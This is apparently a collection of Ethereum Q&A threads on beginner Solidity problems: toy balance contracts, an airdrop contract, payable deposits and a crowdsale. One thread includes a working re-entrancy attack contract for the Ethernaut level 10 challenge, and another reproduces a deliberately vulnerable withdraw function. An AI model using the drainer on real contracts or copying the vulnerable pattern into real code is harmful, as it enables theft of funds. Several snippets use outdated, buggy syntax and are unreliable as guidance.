Create a "Transaction Handler" smart contract - ethereum

New to solidity and geth for my traineeship, I started deploying contrcts using the solidity online IDE and the geth dev mode. My problem is I tried a few different ways to do it but nothing seems to really work.
Code:
contract Transaction {
address public owner;
mapping (address => uint) public balances;
function Transaction () {
owner = msg.sender;
}
function validateTransaction (address receiver, uint amount) constant returns (bool) {
if (balances[owner] < amount || owner == receiver || amount == 0)
return (false);
balances[owner] -= msg.value;
return (true);
}
function transact (address receiver, uint amount) {
if (!validateTransaction(receiver, amount))
return ;
balances[receiver] += msg.value;
}
function remove () {
if (msg.sender == owner)
selfdestruct(owner);
}
}
I also tried this contract of a solidity tutorial but it also don't work as I expected:
contract Coin {
// The keyword "public" makes those variables
// readable from outside.
address public minter;
mapping (address => uint) public balances;
// Events allow light clients to react on
// changes efficiently.
event Sent(address from, address to, uint amount);
// This is the constructor whose code is
// run only when the contract is created.
function Coin() {
minter = msg.sender;
}
function mint(address receiver, uint amount) {
if (msg.sender != minter) return;
balances[receiver] += amount;
}
function send(address receiver, uint amount) {
if (balances[msg.sender] < amount) return;
balances[msg.sender] -= amount;
balances[receiver] += amount;
Sent(msg.sender, receiver, amount);
}
}
I am just trying to make a smart contract that can make transactions between the sender and a receiver but the accounts balances don't move. Are that functions only abstract to learn how solidity works or can this really make the balances change ? Thanks for your answers :)

After have searched and work deeper on solidity I found that, indeed, this contract makes abstract transactions into HIS data. So the ether aren't truely sent and the balance variable is local to this contract.

Related

Is there a limit for executing address.call() in Solidity? If the ETH value to be sent is greater than the contract balance, will it fail?

While I was doing the level 10 of Ethernaut (Re-entrancy), I got some question about address.call() function.
I notice that if I deposit a small amount of WEI, for example, 100000 WEI, I wouldn't be able to withdraw all the contract's balance. But why so? Is there a limit that the address.call() function on the Reentrance smart contract can be executed?
Another thing that I noticed is that I only needed to check if the Reentrance contract balance wasn't 0 to be able to get all its balance. It started with 3000012015300000 WEI and I was withdrawing 1000000000000000 each time. I thought that because of that I would get only 3000000000000000 and the contract would still have 12015300000 WEI. However, I got its entire balance... So, my question is: if the _amount value is greater than address(this).balance in msg.sender.call{value: _amount}(""), Solidity will send all remaining balance of the smart contract?
Here is my code of the smart contract that succeeded on this level:
interface IReentrance {
function donate(address _to) external payable;
function balanceOf(address _who) external view returns (uint balance);
function withdraw(uint _amount) external;
}
contract Reentrancy {
IReentrance public contractToAttack;
address public owner;
uint public amount;
constructor(address _contract_address) public {
contractToAttack = IReentrance(_contract_address);
owner = msg.sender;
}
function donate() public payable {
contractToAttack.donate{value: msg.value}(address(this));
amount = msg.value;
}
function withdraw() public {
require(owner == msg.sender, "Only owner");
msg.sender.transfer(address(this).balance);
}
function getBalance() external view returns(uint) {
return address(this).balance;
}
receive() external payable {
if (address(contractToAttack).balance != 0){
contractToAttack.withdraw(amount);
}
}
}
Link to Ethernaut level 10 smart contract here.

Does Solidity function with payable modifier allow to perform msg.sender.call{}

Found out that there are error in my own code. Answered my own question
I am beginner of Solidity programming, and came across with reentrancy risk. I have tested script below in remix and it works per expectation.
https://solidity-by-example.org/hacks/re-entrancy/
contract EtherStore {
// Withdrawal limit = 1 ether / week
uint constant public WITHDRAWAL_LIMIT = 1 ether;
mapping(address => uint) public lastWithdrawTime;
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint _amount) public {
require(balances[msg.sender] >= _amount);
require(_amount <= WITHDRAWAL_LIMIT);
require(block.timestamp >= lastWithdrawTime[msg.sender] + 1 weeks);
(bool sent, ) = msg.sender.call{value: _amount}("");
require(sent, "Failed to send Ether");
balances[msg.sender] -= _amount;
lastWithdrawTime[msg.sender] = block.timestamp;
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
The attack contract stop working (return false) the moment msg.sender.call function is included at the end of deposit function (see below code)
However, if the new deposit function is called directly via remix, the msg.sender.call function will go through smoothly without any exceptions
contract EtherStore {
// Withdrawal limit = 1 ether / week
uint constant public WITHDRAWAL_LIMIT = 1 ether;
mapping(address => uint) public lastWithdrawTime;
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
(bool sent, ) = msg.sender.call{value: 1 ether}("");
require(sent, "Failed to send Ether");
}
function withdraw(uint _amount) public {
require(balances[msg.sender] >= _amount);
require(_amount <= WITHDRAWAL_LIMIT);
require(block.timestamp >= lastWithdrawTime[msg.sender] + 1 weeks);
(bool sent, ) = msg.sender.call{value: _amount}("");
require(sent, "Failed to send Ether");
balances[msg.sender] -= _amount;
lastWithdrawTime[msg.sender] = block.timestamp;
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
May i check if anyone know what is causing the behavioural differences in both function call.
My objective of testing the new deposit() function is to check if attacker can launch direct attack using single deposit() call, with the assumption that deposit() function will transfer small balance back to msg.sender.
According to my understanding, the expected behavior should be calling the msg.sender fallback() function. But this doesnt happen in the test (remix), instead it returns false straight away
Thanks in advance
**Found out that there are bugs in my logic, thanks for the answe
The two deposit functions are
old
function deposit() public payable {
balances[msg.sender] += msg.value;
}
new
function deposit() public payable {
balances[msg.sender] += msg.value;
(bool sent, ) = msg.sender.call{value: 1 ether}("");
require(sent, "Failed to send Ether");
}
In the second function you add a check which prevents against re-entrancy attacks with custom fallback function on msg.sender.
{value: 1 ether}("");
https://ethereum.stackexchange.com/questions/42521/what-does-msg-sender-call-do-in-solidity
https://consensys.github.io/smart-contract-best-practices/known_attacks/
https://quantstamp.com/blog/what-is-a-re-entrancy-attack

SimpleAirdrop contract deploy issue even compile is working

I am trying to make Airdrop smartcontract but it return "This contract may be abstract, not implement an abstract parent's methods completely or not invoke an inherited contract's constructor correctly." message when deployed.....The compile works fine though.
Please check my code below
pragma solidity ^0.4.18;
contract ERC20 {
function transfer(address _to, uint256 _value)public returns(bool);
function balanceOf(address tokenOwner)public view returns(uint balance);
function transferFrom(address from, address to, uint256 tokens)public returns(bool success);
}
contract SimpleAirdrop is IERC20 {
IERC20 public token;
uint256 public _decimals = 18;
uint256 public _amount = 1*10**6*10**_decimals;
function SimpleAirdrop(address _tokenAddr) public {
token = IERC20(_tokenAddr);
}
function setAirdrop(uint256 amount, uint256 decimals) public {
_decimals = decimals;
_amount = amount*10**_decimals;
}
function getAirdrop(address reff) public returns (bool success) {
require (token.balanceOf(msg.sender) == 0);
//token.transfer(msg.sender, 1000000000000000000000);
//token.transfer(reff , 200000000000000000000);
token.transfer(msg.sender, _amount);
token.transfer(reff , _amount);
return true;
}
}
Your SimpleAirdrop inherits from IERC20 (see the first note). IERC20 is an abstract contract - it only defines its functions, but it doesn't implement them. Which makes SimpleAirdrop (the child contract of IERC20) an abstract contract as well.
Solidity doesn't allow deploying abstract contracts. So you have two options to make it not abstract:
Implement the transfer(), balanceOf() and transferFrom() functions (in any of the two contracts).
OR
Remove the inheritance, so that contract SimpleAirdrop is IERC20 becomes only contract SimpleAirdrop.
Assuming by the context of your SimpleAirdrop, which only executes functions on an external IERC20 address, but doesn't act as an ERC-20 token itself, option 2 is sufficient for your use case.
Notes:
Your question defines ERC20 contract but the rest of the code uses IERC20. I'm assuming this is just a typo while copying your code to the question, and that otherwise you're using the same naming in all places.
The current Solidity version (in June 2021) is 0.8.5. I recommend using the current version, there are security and bug fixes.
Please check for any misconception in codes below
No problem in compiling , Deployed using parameters and success in testnet
Problem rise when calling startAirdrop function...some problem with gas
Please be advised
pragma solidity ^0.4.18;
contract ERC20 {
function transfer(address _to, uint256 _value)public returns(bool);
function balanceOf(address tokenOwner)public view returns(uint balance);
function transferFrom(address from, address to, uint256 tokens)public returns(bool success);
}
contract SimpleAirdrop {
ERC20 public token;
uint256 public _decimals = 9;
uint256 public _amount = 1*10**6*10**_decimals;
uint256 public _cap = _amount *10**6;
address public tokenOwner = 0x0;
uint256 public _totalClaimed = 0;
uint256 public _reffPercent = 10;
function SimpleAirdrop(address _tokenAddr ,address _tokenOwner ) public {
token = ERC20(_tokenAddr);
tokenOwner = _tokenOwner;
}
function setAirdrop(uint256 amount, uint256 cap, uint256 decimals ,uint256 reffPercent) public returns (bool success){
require (msg.sender == tokenOwner);
_decimals = decimals;
_amount = amount*10**_decimals;
_cap = cap*10**_decimals;
_reffPercent = reffPercent;
return true;
}
function sendAirdropToken() public returns (bool success){
require (msg.sender == tokenOwner);
token.transferFrom(msg.sender,address(this),_cap);
return true;
}
function returnAirdropToOwner() public returns (bool success){
require (msg.sender == tokenOwner);
token.transferFrom(address(this), msg.sender, address(this).balance);
return true;
}
function getAirdrop(address reff) public returns (bool success){
if(msg.sender != reff && token.balanceOf(reff) != 0 && reff != 0x0000000000000000000000000000000000000000 && _cap >= _amount){
token.transfer(reff , _amount*(_reffPercent/100));
_cap = _cap - (_amount*(_reffPercent/100));
}
if(msg.sender != reff && token.balanceOf(reff) != 0 && token.balanceOf(msg.sender) == 0 && reff != 0x0000000000000000000000000000000000000000 && _cap >= _amount)
{ token.transfer(msg.sender, _amount);
_cap = _cap - _amount;
_totalClaimed ++;
}
return true;
}
}

How to send ether from eoa to contract

I need to send ether from externally owned account to contract.
All code I found so far looks like this
contract Contract {
mapping (address => uint) balances;
event Transfer(address indexed _from, uint256 _value);
function deposit() public returns (uint) {
balances[msg.sender] += msg.value;
Transfer(msg.sender, msg.value);
return balances[msg.sender];
}
}
But I can not understand how does it work. I thought it should look like this: we should run some send function which will take current contract address, sender address and amount.
Can someone explain me the logic behind it?
I also found the solution which correspond to this logic
contract Contract {
function pay() payable {}
}
and than call it from console like that
var contract
Contract.deployed().then(function(instance) { contract = instance; })
contract.pay.sendTransaction({from: eoa_address,to: contract_address,value: web3.toWei(amount,"ether"), gas:1000000})
But in this case sendTransaction function called outside of contact.
Is there any way of calling it like from this perspective inside contract?
to send Ether to a contract :
we could create a payable function if we need to pay to execute this function
contract Contract {
function do_somthing() payable {
action1
action2
...
}
}
if we want to just send ethers to the contract without executing any function we define the fallback function as you presented in your question :
contract Contract {
function pay() payable {}
}
the example you have provided before :
contract Contract {
mapping (address => uint) balances;
event Transfer(address indexed _from, uint256 _value);
function deposit() public returns (uint) {
balances[msg.sender] += msg.value;
emit Transfer(msg.sender, msg.value);
return balances[msg.sender];
}
}
is recording the balances sent by the users to the contract (this function needs to be declared as payable for the recent compiler : function deposit() public payable returns)
function deposit() public payable returns (uint) {
balances[msg.sender] += msg.value;
emit Transfer(msg.sender, msg.value);
return balances[msg.sender];
}

Ethereum, crowdsale returns 0.00 tokens to the wallet

I'm trying to set up a basic crowdsale at ethereum testnet and the solidity code I'm using is the basic examples found at
https://ethereum.org/crowdsale#the-code
with steps followed as described in that guide.
The issue first was that the ethereum wallet doesn't accept the code as is to compile due to the first line:
contract token { function transfer(address receiver, uint amount){ } }
Specifically, its function returns a warning of an unused local variable and won't compile. Is there a way around this other than defining empty variables inside the function?
The second issue is after it's deployed with the modification as mentioned above, it works. But when it sends tokens to the wallet that sent the ether, the amount is always locked at 0.00 tokens.
FULL CODE:
pragma solidity ^0.4.2;
contract token { function transfer(address receiver, uint amount){ receiver; amount; } }
contract Crowdsale {
address public beneficiary;
uint public fundingGoal; uint public amountRaised; uint public deadline; uint public price;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
event GoalReached(address beneficiary, uint amountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
bool crowdsaleClosed = false;
/* data structure to hold information about campaign contributors */
/* at initialization, setup the owner */
function Crowdsale(
address ifSuccessfulSendTo,
uint fundingGoalInEthers,
uint durationInMinutes,
uint etherCostOfEachToken,
token addressOfTokenUsedAsReward
) {
beneficiary = ifSuccessfulSendTo;
fundingGoal = fundingGoalInEthers * 1 ether;
deadline = now + durationInMinutes * 1 minutes;
price = etherCostOfEachToken * 1 ether;
tokenReward = token(addressOfTokenUsedAsReward);
}
/* The function without a name is the default function that is called whenever anyone sends funds to a contract */
function () payable {
if (crowdsaleClosed) throw;
uint amount = msg.value;
balanceOf[msg.sender] = amount;
amountRaised += amount;
tokenReward.transfer(msg.sender, amount / price);
FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
/* checks if the goal or time limit has been reached and ends the campaign */
function checkGoalReached() afterDeadline {
if (amountRaised >= fundingGoal){
fundingGoalReached = true;
GoalReached(beneficiary, amountRaised);
}
crowdsaleClosed = true;
}
function safeWithdrawal() afterDeadline {
if (!fundingGoalReached) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
FundTransfer(msg.sender, amount, false);
} else {
balanceOf[msg.sender] = amount;
}
}
}
if (fundingGoalReached && beneficiary == msg.sender) {
if (beneficiary.send(amountRaised)) {
FundTransfer(beneficiary, amountRaised, false);
} else {
//If we fail to send the funds to beneficiary, unlock funders balance
fundingGoalReached = false;
}
}
}
}
EDIT: I forgot to mention the steps leading to this point aka Token creation / shareholder association work with the code as is provided in the guide.
I came across the same issue. I solved it by actually defining the transfer function as the example from ethereum.org provides an empty one.
I replaced this:
contract token { function transfer(address receiver, uint amount){ } }
By this:
contract token {
event Transfer(address indexed from, address indexed to, uint256 value);
function transfer(address _to, uint256 _value) {
if (_to == 0x0) throw;
Transfer(msg.sender, _to, _value);
}
}
For your second problem, do you actually have a confirmation that the token created were actually sent? How many ether did you send to the crowd-sale contract? It seems that you are using two decimals for your token and if you defined "Ether cost of each token" of 5 like in the example, you shouldn't send less than 0.05 ether to the crowd-sale contract.
Hope it helps!